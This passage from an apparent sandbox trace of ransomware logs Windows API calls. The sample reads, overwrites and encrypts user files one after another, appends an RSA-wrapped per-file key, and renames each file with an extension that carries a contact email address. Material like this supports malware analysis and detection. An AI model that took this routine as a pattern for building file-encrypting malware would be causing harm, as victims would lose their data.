lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0224.841] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.841] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.841] CloseHandle (hObject=0x1854) returned 1 [0224.841] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0224.843] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0224.844] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", dwFileAttributes=0x80) returned 1 [0224.844] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0224.845] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17471) returned 1 [0224.845] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x443f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x443f, lpOverlapped=0x0) returned 1 [0225.205] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-17471, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.205] WriteFile (in: hFile=0x1854, lpBuffer=0x2f39468*, nNumberOfBytesToWrite=0x443f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39468*, lpNumberOfBytesWritten=0x2e3f9b4*=0x443f, lpOverlapped=0x0) returned 1 [0225.205] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x443f [0225.205] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.205] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.206] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.206] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.206] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.206] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uSRkhtHMRUlUyGdpVgXG6sw/c2/IYMW85DDpL77sMCz0QqARJ1mk7XrQWkluLwJ6\nvWCPpmpHUx3OlQq3opP0Xq2T7EztwvsprgSMT2Jjwe4gr6/2ontiSbNvWoknhqVD\nkNUwss0BRZuGyphg4SyEHiBhpxqYWTmOO6rSvs6PAMZNSRMpYwOewVffikNJ5f1d\nctM+u4A6rFusJb1n/9nqjrjbEwI9ibxwVDabGaU2sYnyLMCnaixqQdNt7YztSagG\niw8nHeJoaDtQVKKD5Vjk1W2zlvaWfQ/QMW5Fb/3jT/pFC+BSDwDK5eVA5VWjblUz\nL7D8i8Jas1PmhpkyWVbAYw==\n", pcchString=0x2e3f9a8) returned 1 [0225.206] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.206] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.206] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.206] CloseHandle (hObject=0x1854) returned 1 [0225.207] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.209] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.209] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", dwFileAttributes=0x80) returned 1 [0225.209] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0225.209] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17212) returned 1 [0225.210] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x433c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x433c, lpOverlapped=0x0) returned 1 [0225.339] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-17212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.339] WriteFile (in: hFile=0x1854, lpBuffer=0x2f39368*, nNumberOfBytesToWrite=0x433c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39368*, lpNumberOfBytesWritten=0x2e3f9b4*=0x433c, lpOverlapped=0x0) returned 1 [0225.339] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x433c [0225.339] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.339] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.339] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.340] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SYKdrQutxj8Jfl5yhELavJs79tpPIMrvy67tRwpFvR6RZU42Dxw45iIrJyWKWkIM\nNb1Zgp96zABIYUpkNE0sNUhEG9RDnxyJkZ8z7LddKZ3kJNWqq4NloGmAIWiBL+KX\nvPMuoqW/JktZv8Rp2zO8+9QJoZoyMWxfGjsjv17lFRtu7wJo3n0GojmJWQA14zAU\n/DD4XptSnFKw29awhG0Cg1RDaNEPc3RtJ5kpeEo9ukWUp+LSBrfEDKqC5Oqzgy73\ng0pHpBJaJBtKfNmDkmb79A15vk6u8xyvMZvQMK0Orb9xio2JJtQHZYHrGYl7sQHT\nmdjvyIOoUXAnkLcsLWjNnA==\n", pcchString=0x2e3f9a8) returned 1 [0225.340] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.340] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.340] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.340] CloseHandle (hObject=0x1854) returned 1 [0225.341] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.345] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.345] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", dwFileAttributes=0x80) returned 1 [0225.345] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0225.346] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16780) returned 1 [0225.346] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x418c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x418c, lpOverlapped=0x0) returned 1 [0225.445] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-16780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.445] WriteFile (in: hFile=0x1854, lpBuffer=0x2f391b8*, nNumberOfBytesToWrite=0x418c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x418c, lpOverlapped=0x0) returned 1 [0225.446] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x418c [0225.446] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.446] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.446] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.446] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.446] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.446] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lF12bXlDSbcmjZymGqrTAGHPgkd5tKyNR9ebUKbaKtSAlEVjPWyu+5XmEBVzbAh2\nXzQmCR0Qm3/Rt8csy6c/haxsaViXETClngy8A63IhXdoHwYplaSdVwDuirXPOmdb\nANOp28oArxuCMlvtmJ1/chlfdaGwNj9SC5J8hOEOqq9pXF2B4Y6/+DUWw26gB48k\ndOaAjLz1GJp66o4ka7xDybimjG6oI5gdcxuIA6U40Nc1M9JMWCHfkPBKL79Xi9qh\nxR1sZIjT1OVNzOWxaCnaJd6FZpqEdsrpdlT9pfOAcoU6NtM9408fGLUN+91aUs5n\nlnq8SOcnmcuojRxjrXDgTg==\n", pcchString=0x2e3f9a8) returned 1 [0225.446] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.447] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.447] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.447] CloseHandle (hObject=0x1854) returned 1 [0225.447] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.449] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.449] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", dwFileAttributes=0x80) returned 1 [0225.450] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0225.450] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16782) returned 1 [0225.450] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x418e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x418e, lpOverlapped=0x0) returned 1 [0225.556] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-16782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.556] WriteFile (in: hFile=0x1854, lpBuffer=0x2f391b8*, nNumberOfBytesToWrite=0x418e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x418e, lpOverlapped=0x0) returned 1 [0225.557] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x418e [0225.557] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.557] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.557] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.557] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.558] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.558] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="RkSLW8x9CEY67WShU4eSvy9rVoM5D11He1f5Ub4IgkLztBeyHlELxQjdolFgqnD9\nOmaOGzvbgVdYgowUeELhFP6pGcQcPTWLRMj3/+j+7YxezfB4VE6TaQCWdkYmdY1c\nA+Rj2zVp7VmHCTDG5pEHiQlwjEBVrGtA8isZ7KxVtvYoLBVKbsA1hTMt/7xVWG/H\nGo42JjX6oWrSL2zr1fvNvodYZhcJNOrJapB9XHzVqjHB0G8gEc7w6EV3YL3HdbpY\nP91ZuOzm3UvBLaod6fXyZ2/UsetRdxUgV16lHQb9in8JF/RhFJzqI2bR/2BqxA41\nWlISfNCL4uAeKSJ992ZTYQ==\n", pcchString=0x2e3f9a8) returned 1 [0225.558] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.558] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.558] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.558] CloseHandle (hObject=0x1854) returned 1 [0225.559] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.561] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.561] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", dwFileAttributes=0x80) returned 1 [0225.562] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0225.562] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17523) returned 1 [0225.562] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4473, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4473, lpOverlapped=0x0) returned 1 [0225.615] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-17523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.615] WriteFile (in: hFile=0x1854, lpBuffer=0x2f394a0*, nNumberOfBytesToWrite=0x4473, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f394a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4473, lpOverlapped=0x0) returned 1 [0225.616] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4473 [0225.616] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.616] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.616] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.616] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.616] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.616] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 